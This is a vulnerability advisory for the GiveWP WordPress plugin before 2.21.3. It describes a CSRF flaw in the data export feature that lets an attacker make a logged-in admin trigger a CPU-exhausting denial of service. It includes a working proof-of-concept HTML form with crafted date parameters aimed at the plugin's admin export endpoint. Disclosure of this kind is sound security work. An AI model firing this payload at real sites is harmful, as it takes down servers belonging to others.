WordPress Plugin Vulnerabilities

GiveWP < 2.21.3 - DoS via CSRF

Description

The plugin does not have CSRF in place when exporting data, and does not validate the exporting parameters such as dates, which could allow attackers to make a logged in admin DoS the web server via a CSRF attack as the plugin will try to retrieve data from the database many times which leads to overwhelm the target's CPU.

Proof of Concept

In 2.21.2, works only when there is no donation yet. Before 2.21.2, works every time

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=export" method="POST">
      <input type="hidden" name="start_year" value="" />
      <input type="hidden" name="start_month" value="6" />
      <input type="hidden" name="end_year" value="9000" />
      <input type="hidden" name="end_month" value="6" />
      <input type="hidden" name="give-action" value="earnings_export" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 2.21.3

References

Miscellaneous

Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-07-11 (about 1 years ago)
Added
2022-07-11 (about 1 years ago)
Last Updated
2023-04-11 (about 1 years ago)

Other